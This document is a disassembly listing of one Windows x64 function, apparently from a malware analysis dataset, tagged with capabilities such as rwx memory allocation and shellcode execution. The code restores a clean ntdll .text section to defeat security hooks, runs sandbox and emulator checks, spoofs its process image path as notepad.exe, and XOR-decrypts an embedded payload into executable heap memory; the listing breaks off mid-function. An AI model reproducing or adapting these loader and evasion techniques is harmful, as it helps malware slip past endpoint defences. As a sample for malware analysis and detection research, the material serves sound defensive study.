Function at 0x1400014a4
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Link many functions at runtime
Read file via mapping

Disassembly:
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x8c8
lea rbp, [rsp + 0x80]
movups xmmword [rbp + 0x830], xmm6
mov dword [rbp + 0x870], ecx
mov qword [rbp + 0x878], rdx
call fcn.140002e30
lea rax, str.ntdll.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov qword [rbp + 0x7a8], rax
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov qword [rbp + 0x7a0], rax
lea rax, str.ntdll.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov qword [rbp + 0x798], rax
lea rax, str.psapi.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_LoadLibraryA]
call rax
mov rcx, rax
lea rax, str.GetModuleInformation
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x828], rax
cmp qword [rbp + 0x828], 0
jne 0x140001588
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_LoadLibraryA]
call rax
mov rcx, rax
lea rax, str.GetModuleInformation
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x828], rax
cmp qword [rbp + 0x828], 0
je 0x140001881
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
call rax
mov rcx, rax
lea rdx, [rbp + 0x5c0]
mov rax, qword [rbp + 0x798]
mov r10, qword [rbp + 0x828]
mov r9d, 0x18
mov r8, rdx
mov rdx, rax
call r10
mov rax, qword [rbp + 0x5c0]
mov qword [rbp + 0x790], rax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 3
mov r9d, 0
mov r8d, 1
mov edx, 0x80000000
lea rax, str.c:windows_system32_ntdll.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CreateFileA]
call rax
mov qword [rbp + 0x788], rax
mov rax, qword [rbp + 0x788]
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
mov r9d, 0
mov r8d, 0x1000002
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CreateFileMappingA]
call rax
mov qword [rbp + 0x780], rax
mov rax, qword [rbp + 0x780]
mov qword [rsp + 0x20], 0
mov r9d, 0
mov r8d, 0
mov edx, 4
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_MapViewOfFile]
call rax
mov qword [rbp + 0x778], rax
mov rax, qword [rbp + 0x790]
mov qword [rbp + 0x770], rax
mov rax, qword [rbp + 0x770]
mov eax, dword [rax + 0x3c]
movsxd rdx, eax
mov rax, qword [rbp + 0x790]
add rax, rdx
mov qword [rbp + 0x768], rax
mov word [rbp + 0x826], 0
jmp 0x140001869
mov rax, qword [rbp + 0x768]
movzx eax, word [rax + 0x14]
movzx edx, ax
mov rax, qword [rbp + 0x768]
lea rcx, [rdx + rax]
movzx edx, word [rbp + 0x826]
mov rax, rdx
shl rax, 2
add rax, rdx
shl rax, 3
add rax, rcx
add rax, 0x18
mov qword [rbp + 0x760], rax
mov dword [rbp + 0x820], 0
mov dword [rbp + 0x81c], 1
mov dword [rbp + 0x818], 0
mov dword [rbp + 0x75c], 0x359
jmp 0x14000175b
mov edx, dword [rbp + 0x820]
mov eax, dword [rbp + 0x81c]
add eax, edx
mov dword [rbp + 0x758], eax
add dword [rbp + 0x818], 1
mov eax, dword [rbp + 0x81c]
mov dword [rbp + 0x820], eax
mov eax, dword [rbp + 0x758]
mov dword [rbp + 0x81c], eax
mov eax, dword [rbp + 0x818]
cmp eax, dword [rbp + 0x75c]
jl 0x140001728
mov rax, qword [rbp + 0x760]
lea rdx, str..text
mov rcx, rax
call sub.msvcrt.dll_strcmp
test eax, eax
jne 0x140001858
mov dword [rbp + 0x588], 0
mov rax, qword [rbp + 0x760]
mov eax, dword [rax + 8]
mov edx, eax
mov rax, qword [rbp + 0x760]
mov eax, dword [rax + 0xc]
mov ecx, eax
mov rax, qword [rbp + 0x790]
add rax, rcx
mov rcx, rax
lea rax, [rbp + 0x588]
mov r9, rax
mov r8d, 0x40
mov rax, qword [sym.imp.KERNEL32.dll_VirtualProtect]
call rax
mov rax, qword [rbp + 0x760]
mov eax, dword [rax + 8]
mov r8d, eax
mov rax, qword [rbp + 0x760]
mov eax, dword [rax + 0xc]
mov edx, eax
mov rax, qword [rbp + 0x778]
add rax, rdx
mov rdx, rax
mov rax, qword [rbp + 0x760]
mov eax, dword [rax + 0xc]
mov ecx, eax
mov rax, qword [rbp + 0x790]
add rax, rcx
mov rcx, rax
call sub.msvcrt.dll_memcpy
mov edx, dword [rbp + 0x588]
mov rax, qword [rbp + 0x760]
mov eax, dword [rax + 8]
mov r10d, eax
mov rax, qword [rbp + 0x760]
mov eax, dword [rax + 0xc]
mov ecx, eax
mov rax, qword [rbp + 0x790]
add rax, rcx
mov rcx, rax
lea rax, [rbp + 0x588]
mov r9, rax
mov r8d, edx
mov rdx, r10
mov rax, qword [sym.imp.KERNEL32.dll_VirtualProtect]
call rax
movzx eax, word [rbp + 0x826]
add eax, 1
mov word [rbp + 0x826], ax
mov rax, qword [rbp + 0x768]
movzx eax, word [rax + 6]
cmp word [rbp + 0x826], ax
jb 0x1400016c2
mov ecx, 0x204c
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x750], rax
mov ecx, 0x204c
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x748], rax
mov ecx, 0x204c
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x740], rax
mov dword [rbp + 0x814], 0
jmp 0x140001997
mov dword [rbp + 0x810], 0
jmp 0x140001983
call sub.msvcrt.dll_rand
movsxd rdx, eax
imul rdx, rdx, 0x10624dd3
shr rdx, 0x20
sar edx, 7
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x7d0
sub eax, ecx
mov edx, eax
mov eax, dword [rbp + 0x814]
cdqe
imul rcx, rax, 0xd4
mov rax, qword [rbp + 0x750]
add rcx, rax
pxor xmm0, xmm0
cvtsi2ss xmm0, edx
mov eax, dword [rbp + 0x810]
cdqe
movss dword [rcx + rax*4], xmm0
call sub.msvcrt.dll_rand
movsxd rdx, eax
imul rdx, rdx, 0x10624dd3
shr rdx, 0x20
sar edx, 7
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x7d0
sub eax, ecx
mov edx, eax
mov eax, dword [rbp + 0x814]
cdqe
imul rcx, rax, 0xd4
mov rax, qword [rbp + 0x748]
add rcx, rax
pxor xmm0, xmm0
cvtsi2ss xmm0, edx
mov eax, dword [rbp + 0x810]
cdqe
movss dword [rcx + rax*4], xmm0
add dword [rbp + 0x810], 1
cmp dword [rbp + 0x810], 0x34
jle 0x1400018d2
add dword [rbp + 0x814], 1
cmp dword [rbp + 0x814], 0x26
jle 0x1400018c3
mov dword [rbp + 0x814], 0
jmp 0x140001a50
mov dword [rbp + 0x810], 0
jmp 0x140001a3c
mov eax, dword [rbp + 0x814]
cdqe
imul rdx, rax, 0xd4
mov rax, qword [rbp + 0x750]
add rdx, rax
mov eax, dword [rbp + 0x810]
cdqe
movss xmm0, dword [rdx + rax*4]
mov eax, dword [rbp + 0x814]
cdqe
imul rdx, rax, 0xd4
mov rax, qword [rbp + 0x748]
add rdx, rax
mov eax, dword [rbp + 0x810]
cdqe
movss xmm1, dword [rdx + rax*4]
mov eax, dword [rbp + 0x814]
cdqe
imul rdx, rax, 0xd4
mov rax, qword [rbp + 0x740]
add rdx, rax
subss xmm0, xmm1
mov eax, dword [rbp + 0x810]
cdqe
movss dword [rdx + rax*4], xmm0
add dword [rbp + 0x810], 1
cmp dword [rbp + 0x810], 0x34
jle 0x1400019bf
add dword [rbp + 0x814], 1
cmp dword [rbp + 0x814], 0x26
jle 0x1400019b3
mov rax, qword [rbp + 0x750]
mov rcx, rax
call sub.msvcrt.dll_free
mov rax, qword [rbp + 0x748]
mov rcx, rax
call sub.msvcrt.dll_free
mov rax, qword [rbp + 0x740]
mov rcx, rax
call sub.msvcrt.dll_free
mov dword [rbp + 0x58c], 0
mov rax, qword [rbp + 0x7a8]
lea rdx, str.NtQueryInformationProcess
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x738], rax
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
call rax
mov rcx, rax
lea rdx, [rbp + 0x590]
lea rax, [rbp + 0x58c]
mov qword [rsp + 0x20], rax
mov rax, qword [rbp + 0x738]
mov r9d, 0x30
mov r8, rdx
mov edx, 0
call rax
mov rax, qword [rbp + 0x598]
add rax, 0x3c
mov qword [rbp + 0x730], rax
mov dword [rbp + 0x80c], 0xffffffff
mov ecx, 0x1740
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x728], rax
mov ecx, 0x1740
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x720], rax
add dword [rbp + 0x80c], 1
call sub.msvcrt.dll_rand
movsxd rdx, eax
imul rdx, rdx, 0x10624dd3
shr rdx, 0x20
sar edx, 6
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x3e8
sub eax, ecx
mov edx, eax
pxor xmm6, xmm6
cvtsi2sd xmm6, edx
call sub.msvcrt.dll_rand
movsxd rdx, eax
imul rdx, rdx, 0xffffffffea0ea0eb
shr rdx, 0x20
add edx, eax
sar edx, 6
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x46
sub eax, ecx
mov edx, eax
pxor xmm1, xmm1
cvtsi2sd xmm1, edx
mov eax, dword [rbp + 0x80c]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x728]
add rax, rdx
divsd xmm6, xmm1
movupd xmm0, xmm6
movsd qword [rax], xmm0
mov eax, dword [rbp + 0x80c]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x728]
add rax, rdx
mov rax, qword [rax]
mov edx, dword [rbp + 0x80c]
movsxd rdx, edx
lea rcx, [rdx*8]
mov rdx, qword [rbp + 0x720]
lea rbx, [rcx + rdx]
movq xmm0, rax
call fcn.140003fb0
movq rax, xmm0
mov qword [rbx], rax
cmp dword [rbp + 0x80c], 0x2e6
jle 0x140001b29
mov rax, qword [rbp + 0x730]
lea rdx, str.C:_windows_system32_notepad.exe
mov qword [rax + 0x78], rdx
mov rax, qword [rbp + 0x730]
lea rdx, str.C:_windows_system32_notepad.exe
mov qword [rax + 0x68], rdx
mov dword [rbp + 0x808], 0xffffffff
mov ecx, 0x1200
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x718], rax
add dword [rbp + 0x808], 1
call sub.msvcrt.dll_rand
pxor xmm0, xmm0
cvtsi2sd xmm0, eax
movsd xmm1, qword [0x14000b5e8]
divsd xmm0, xmm1
addsd xmm0, xmm0
mov eax, dword [rbp + 0x808]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x718]
add rax, rdx
movsd xmm1, qword [0x14000b5f0]
subsd xmm0, xmm1
movsd qword [rax], xmm0
mov eax, dword [rbp + 0x808]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x718]
add rax, rdx
mov rax, qword [rax]
mov edx, dword [rbp + 0x808]
movsxd rdx, edx
lea rcx, [rdx*8]
mov rdx, qword [rbp + 0x718]
lea rbx, [rcx + rdx]
movq xmm0, rax
call sub.msvcrt.dll_asin
movq rax, xmm0
mov qword [rbx], rax
cmp dword [rbp + 0x808], 0x23e
jle 0x140001c4d
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_LoadLibraryA]
call rax
mov qword [rbp + 0x710], rax
cmp qword [rbp + 0x710], 0
je 0x140001d4f
mov rax, qword [rbp + 0x710]
lea rdx, str.FlsAlloc
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x708], rax
mov rax, qword [rbp + 0x708]
mov ecx, 0
call rax
mov dword [rbp + 0x804], eax
cmp dword [rbp + 0x804], 0xffffffff
je 0x140002d5e
mov qword [rbp + 0x700], 0
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.VirtualAlloc
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x6f8], rax
mov rax, qword [rbp + 0x6f8]
mov r9d, 0x40
mov r8d, 0x3000
mov edx, 0xbd4280
mov ecx, 0
call rax
mov qword [rbp + 0x700], rax
cmp qword [rbp + 0x700], 0
je 0x140002d5e
mov rax, qword [rbp + 0x700]
mov edx, 0xbd4280
mov rcx, rax
call fcn.1400096d0
mov rax, qword [rbp + 0x700]
mov r8d, 0x8000
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_VirtualFree]
call rax
mov ecx, 0x5c1
mov rax, qword [sym.imp.KERNEL32.dll_SetErrorMode]
call rax
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_SetErrorMode]
call rax
cmp eax, 0x5c1
jne 0x140002d5e
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_SetErrorMode]
call rax
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.GetTickCount
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x6f0], rax
mov rax, qword [rbp + 0x6f0]
call rax
mov dword [rbp + 0x6ec], eax
mov ecx, 0x3c1
mov rax, qword [sym.imp.KERNEL32.dll_Sleep]
call rax
mov rax, qword [rbp + 0x6f0]
call rax
mov dword [rbp + 0x6e8], eax
mov eax, dword [rbp + 0x6e8]
sub eax, dword [rbp + 0x6ec]
cmp eax, 0x38f
jbe 0x140002d5e
mov qword [rbp + 0x6e0], 0
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.VirtualAllocExNuma
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x6d8], rax
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
call rax
mov rcx, rax
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0x40
mov rax, qword [rbp + 0x6d8]
mov r9d, 0x3000
mov r8d, 0x46a
mov edx, 0
call rax
mov qword [rbp + 0x6e0], rax
cmp qword [rbp + 0x6e0], 0
je 0x140002d5e
mov dword [rbp + 0x6d4], 0x32c
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.GetTickCount
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x6c8], rax
mov rax, qword [rbp + 0x6c8]
call rax
mov dword [rbp + 0x6c4], eax
mov eax, dword [rbp + 0x6d4]
mov edx, 0
mov ecx, eax
mov rax, qword [sym.imp.KERNEL32.dll_SleepEx]
call rax
mov rax, qword [rbp + 0x6c8]
call rax
mov dword [rbp + 0x6c0], eax
mov eax, dword [rbp + 0x6c0]
sub eax, dword [rbp + 0x6c4]
cmp eax, 0x2fa
jbe 0x140002d5e
mov qword [rbp + 0x7f8], 0
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_LoadLibraryA]
call rax
mov qword [rbp + 0x6b8], rax
cmp qword [rbp + 0x6b8], 0
je 0x14000203d
mov rax, qword [rbp + 0x6b8]
lea rdx, str.VirtualAllocExNuma
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x6b0], rax
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
call rax
mov rcx, rax
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0x40
mov rax, qword [rbp + 0x6b0]
mov r9d, 0x3000
mov r8d, 0x2a3
mov edx, 0
call rax
mov qword [rbp + 0x7f8], rax
cmp qword [rbp + 0x7f8], 0
je 0x140002d5e
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.OpenProcess
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x6a8], rax
mov rax, qword [rbp + 0x6a8]
mov r8d, 4
mov edx, 0
mov ecx, 0x1fffff
call rax
mov qword [rbp + 0x6a0], rax
cmp qword [rbp + 0x6a0], 0
jne 0x140002d5e
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_LoadLibraryA]
call rax
mov qword [rbp + 0x698], rax
cmp qword [rbp + 0x698], 0
je 0x140002102
mov rax, qword [rbp + 0x698]
lea rdx, str.FlsAlloc
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x690], rax
mov rax, qword [rbp + 0x690]
mov ecx, 0
call rax
mov dword [rbp + 0x7f4], eax
cmp dword [rbp + 0x7f4], 0xffffffff
je 0x140002d5e
mov dword [rbp + 0x68c], 0x3e7
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.SleepEx
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x680], rax
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.GetTickCount
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x678], rax
mov rax, qword [rbp + 0x678]
call rax
mov dword [rbp + 0x674], eax
mov eax, dword [rbp + 0x68c]
mov r8, qword [rbp + 0x680]
mov edx, 0
mov ecx, eax
call r8
mov rax, qword [rbp + 0x678]
call rax
mov dword [rbp + 0x670], eax
mov eax, dword [rbp + 0x670]
sub eax, dword [rbp + 0x674]
cmp eax, 0x3b5
jbe 0x140002d5e
lea rax, [rbp + 0xd0]
lea rdx, [0x14000b138]
mov ecx, 0x96
mov rdi, rax
mov rsi, rdx
rep movsq qword [rdi], qword [rsi]
mov dword [rbp + 0x66c], 0
mov dword [rbp + 0x7e8], 0
mov ecx, 0x1f7c
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x660], rax
mov dword [rbp + 0x7f0], 0
jmp 0x1400022d1
mov dword [rbp + 0x7ec], 0
jmp 0x1400022bd
call sub.msvcrt.dll_rand
mov edx, eax
mov eax, dword [rbp + 0x7f0]
movsxd rcx, eax
mov rax, rcx
shl rax, 5
sub rax, rcx
shl rax, 2
mov rcx, rax
mov rax, qword [rbp + 0x660]
lea r8, [rcx + rax]
movsxd rax, edx
imul rax, rax, 0x51eb851f
shr rax, 0x20
sar eax, 5
mov ecx, edx
sar ecx, 0x1f
sub eax, ecx
imul ecx, eax, 0x64
mov eax, edx
sub eax, ecx
mov edx, dword [rbp + 0x7ec]
movsxd rdx, edx
mov dword [r8 + rdx*4], eax
mov eax, dword [rbp + 0x7f0]
movsxd rdx, eax
mov rax, rdx
shl rax, 5
sub rax, rdx
shl rax, 2
mov rdx, rax
mov rax, qword [rbp + 0x660]
add rdx, rax
mov eax, dword [rbp + 0x7ec]
cdqe
mov eax, dword [rdx + rax*4]
test eax, eax
jne 0x1400022b6
add dword [rbp + 0x7e8], 1
add dword [rbp + 0x7ec], 1
cmp dword [rbp + 0x7ec], 0x1e
jle 0x140002224
add dword [rbp + 0x7f0], 1
cmp dword [rbp + 0x7f0], 0x40
jle 0x140002215
cmp dword [rbp + 0x7e8], 0x3ef
jne 0x1400022f4
mov dword [rbp + 0x66c], 1
mov rax, qword [rbp + 0x660]
mov rcx, rax
call sub.msvcrt.dll_free
mov rax, qword [rbp + 0x7a0]
lea rdx, str.HeapCreate
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x658], rax
mov rax, qword [rbp + 0x7a0]
lea rdx, str.HeapAlloc
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x650], rax
mov rax, qword [rbp + 0x658]
mov r8d, 0
mov edx, 0x4af
mov ecx, 0x40000
call rax
mov qword [rbp + 0x648], rax
mov rax, qword [rbp + 0x648]
mov r9, qword [rbp + 0x650]
mov r8d, 0x4af
mov edx, 8
mov rcx, rax
call r9
mov qword [rbp + 0x640], rax
mov rax, qword [rbp + 0x7a8]
lea rdx, str.RtlMoveMemory
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x638], rax
lea rdx, [rbp + 0xd0]
mov rax, qword [rbp + 0x640]
mov r9, qword [rbp + 0x638]
mov r8d, 0x4af
mov rcx, rax
call r9
mov dword [rbp + 0x7e0], 0
mov dword [rbp + 0x7dc], 0
movabs rax, 0xf3bd2b4538bd10e1
movabs rdx, 0x3834403c20d6d2bd
mov qword [rbp + 0x60], rax
mov qword [rbp + 0x68], rdx
movabs rax, 0xa4422b7dfbf3c839
movabs rdx, 0xc27e8c1efeb9f82f
mov qword [rbp + 0x70], rax
mov qword [rbp + 0x78], rdx
movabs rax, 0x8c99c9747b897e9b
movabs rdx, 0x5326ff7929e08283
mov qword [rbp + 0x80], rax
mov qword [rbp + 0x88], rdx
movabs rax, 0x5e9affc8d95d3671
movabs rdx, 0x8b295760ad61f10
mov qword [rbp + 0x90], rax
mov qword [rbp + 0x98], rdx
movabs rax, 0x65ce1dff369527e2
movabs rdx, 0xd7c463fe886dfc0f
mov qword [rbp + 0xa0], rax
mov qword [rbp + 0xa8], rdx
movabs rax, 0x3f3f1fdbf3b527c1
movabs rdx, 0x6b4c1099950b9055
mov qword [rbp + 0xb0], rax
mov qword [rbp + 0xb8], rdx
movabs rax, 0x28c8e4da0f6b4c10
movabs rdx, 0x97969084955906
mov qword [rbp + 0xbd], rax
mov qword [rbp + 0xc5], rdx
movabs rax, 0x3c89e21b9a4fe30d
movabs rdx, 0x81689537430c4d22
mov qword [rbp - 0x40], rax
mov qword [rbp - 0x38], rdx
movabs rax, 0xd2bfe7256d264081
movabs rdx, 0x99c004014d28c77b
mov qword [rbp - 0x30], rax
mov qword [rbp - 0x28], rdx
movabs rax, 0x87771d8499c00401
movabs rdx, 0xb9c8e5b64cb8a0
mov qword [rbp - 0x24], rax
mov qword [rbp - 0x1c], rdx
mov dword [rbp + 0x7e4], 0
jmp 0x1400026e8
cmp dword [rbp + 0x7e0], 0x2a
jne 0x140002566
mov eax, dword [rbp + 0x7e4]
cdqe
movzx edx, byte [rbp + rax + 0x60]
mov eax, dword [rbp + 0x7e0]
cdqe
movzx eax, byte [rbp + rax - 0x40]
xor edx, eax
mov eax, dword [rbp + 0x7e4]
cdqe
mov byte [rbp + rax - 0x10], dl
mov dword [rbp + 0x7e0], 0
jmp 0x1400026e1
mov eax, dword [rbp + 0x7e4]
cdqe
movzx edx, byte [rbp + rax + 0x60]
mov eax, dword [rbp + 0x7e0]
cdqe
movzx eax, byte [rbp + rax - 0x40]
xor edx, eax
mov eax, dword [rbp + 0x7e4]
cdqe
mov byte [rbp + rax - 0x10], dl
mov dword [rbp + 0x7d0], 0
mov ecx, 0xc78
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x5e0], rax
mov dword [rbp + 0x7d8], 0
jmp 0x14000263b
mov dword [rbp + 0x7d4], 0
jmp 0x14000262b
call sub.msvcrt.dll_rand
movsxd rdx, eax
imul rdx, rdx, 0x7a62007b
shr rdx, 0x20
sar edx, 0xa
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x85e
sub eax, ecx
mov edx, eax
mov eax, dword [rbp + 0x7d8]
movsxd rcx, eax
mov rax, rcx
shl rax, 3
sub rax, rcx
shl rax, 3
mov rcx, rax
mov rax, qword [rbp + 0x5e0]
add rcx, rax
pxor xmm0, xmm0
cvtsi2ss xmm0, edx
mov eax, dword [rbp + 0x7d4]
cdqe
movss dword [rcx + rax*4], xmm0
add dword [rbp + 0x7d4], 1
cmp dword [rbp + 0x7d4], 0xd
jle 0x1400025c4
add dword [rbp + 0x7d8], 1
cmp dword [rbp + 0x7d8], 0x38
jle 0x1400025b8
mov dword [rbp + 0x7d8], 0
jmp 0x1400026c2
mov dword [rbp + 0x7d4], 0
jmp 0x1400026b2
pxor xmm1, xmm1
cvtsi2ss xmm1, dword [rbp + 0x7d0]
mov eax, dword [rbp + 0x7d8]
movsxd rdx, eax
mov rax, rdx
shl rax, 3
sub rax, rdx
shl rax, 3
mov rdx, rax
mov rax, qword [rbp + 0x5e0]
add rdx, rax
mov eax, dword [rbp + 0x7d4]
cdqe
movss xmm0, dword [rdx + rax*4]
addss xmm0, xmm1
cvttss2si eax, xmm0
mov dword [rbp + 0x7d0], eax
add dword [rbp + 0x7d4], 1
cmp dword [rbp + 0x7d4], 0xd
jle 0x140002660
add dword [rbp + 0x7d8], 1
cmp dword [rbp + 0x7d8], 0x38
jle 0x140002654
mov rax, qword [rbp + 0x5e0]
mov rcx, rax
call sub.msvcrt.dll_free
add dword [rbp + 0x7e0], 1
add dword [rbp + 0x7e4], 1
mov eax, dword [rbp + 0x7e4]
cmp eax, 0x6b
jbe 0x140002526
mov dword [rbp + 0x7e4], 0
jmp 0x140002ad6
cmp dword [rbp + 0x7dc], 0x6b
jne 0x140002859
mov eax, dword [rbp + 0x7e4]
movsxd rdx, eax
mov rax, qword [rbp + 0x640]
add rax, rdx
movzx r8d, byte [rax]
mov eax, dword [rbp + 0x7dc]
cdqe
movzx ecx, byte [rbp + rax - 0x10]
mov eax, dword [rbp + 0x7e4]
movsxd rdx, eax
mov rax, qword [rbp + 0x640]
add rax, rdx
mov edx, r8d
xor edx, ecx
mov byte [rax], dl
mov dword [rbp + 0x7cc], 0xc8
mov dword [rbp + 0x7c8], 0x8c
mov dword [rbp + 0x7c4], 0x2a8
mov dword [rbp + 0x7c0], 0x2e4
jmp 0x14000283d
mov eax, dword [rbp + 0x7c4]
cmp eax, dword [rbp + 0x7c0]
jle 0x1400027da
mov eax, dword [rbp + 0x7c4]
cmp eax, dword [rbp + 0x7cc]
jle 0x1400027ba
mov eax, dword [rbp + 0x7c4]
cmp eax, dword [rbp + 0x7c8]
jle 0x1400027b1
sub dword [rbp + 0x7c4], 1
jmp 0x140002826
sub dword [rbp + 0x7c8], 1
jmp 0x140002826
mov eax, dword [rbp + 0x7cc]
cmp eax, dword [rbp + 0x7c8]
jle 0x1400027d1
sub dword [rbp + 0x7cc], 1
jmp 0x140002826
sub dword [rbp + 0x7c8], 1
jmp 0x140002826
mov eax, dword [rbp + 0x7c0]
cmp eax, dword [rbp + 0x7cc]
jle 0x140002808
mov eax, dword [rbp + 0x7c0]
cmp eax, dword [rbp + 0x7c8]
jle 0x1400027ff
sub dword [rbp + 0x7c0], 1
jmp 0x140002826
sub dword [rbp + 0x7c8], 1
jmp 0x140002826
mov eax, dword [rbp + 0x7cc]
cmp eax, dword [rbp + 0x7c8]
jle 0x14000281f
sub dword [rbp + 0x7cc], 1
jmp 0x140002826
sub dword [rbp + 0x7c8], 1
mov eax, dword [rbp + 0x7c4]
mov edx, eax
lea rax, [0x14000b125]
mov rcx, rax
call fcn.140001450
cmp dword [rbp + 0x7c4], 0
jg 0x14000277e
mov dword [rbp + 0x7dc], 0
jmp 0x140002acf
mov eax, dword [rbp + 0x7e4]
movsxd rdx, eax
mov rax, qword [rbp + 0x640]
add rax, rdx
movzx r8d, byte [rax]
mov eax, dword [rbp + 0x7dc]
cdqe
movzx ecx, byte [rbp + rax - 0x10]
mov eax, dword [rbp + 0x7e4]
movsxd rdx, eax
mov rax, qword [rbp + 0x640]
add rax, rdx
mov edx, r8d
xor edx, ecx
mov byte [rax], dl
add dword [rbp + 0x7dc], 1
mov dword [rbp + 0x604], 0
mov ecx, 0xf40
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x5f8], rax
mov ecx, 0xf40
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x5f0], rax
mov ecx, 0xf40
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x5e8], rax
mov dword [rbp + 0x7bc], 0
jmp 0x1400029be
mov dword [rbp + 0x7b8], 0
jmp 0x1400029aa
call sub.msvcrt.dll_rand
movsxd rdx, eax
imul rdx, rdx, 0x10624dd3
shr rdx, 0x20
sar edx, 5
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x1f4
sub eax, ecx
mov edx, eax
mov eax, dword [rbp + 0x7bc]
cdqe
shl rax, 6
mov rcx, rax
mov rax, qword [rbp + 0x5f8]
add rcx, rax
pxor xmm0, xmm0
cvtsi2ss xmm0, edx
mov eax, dword [rbp + 0x7b8]
cdqe
movss dword [rcx + rax*4], xmm0
call sub.msvcrt.dll_rand
movsxd rdx, eax
imul rdx, rdx, 0x10624dd3
shr rdx, 0x20
sar edx, 5
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x1f4
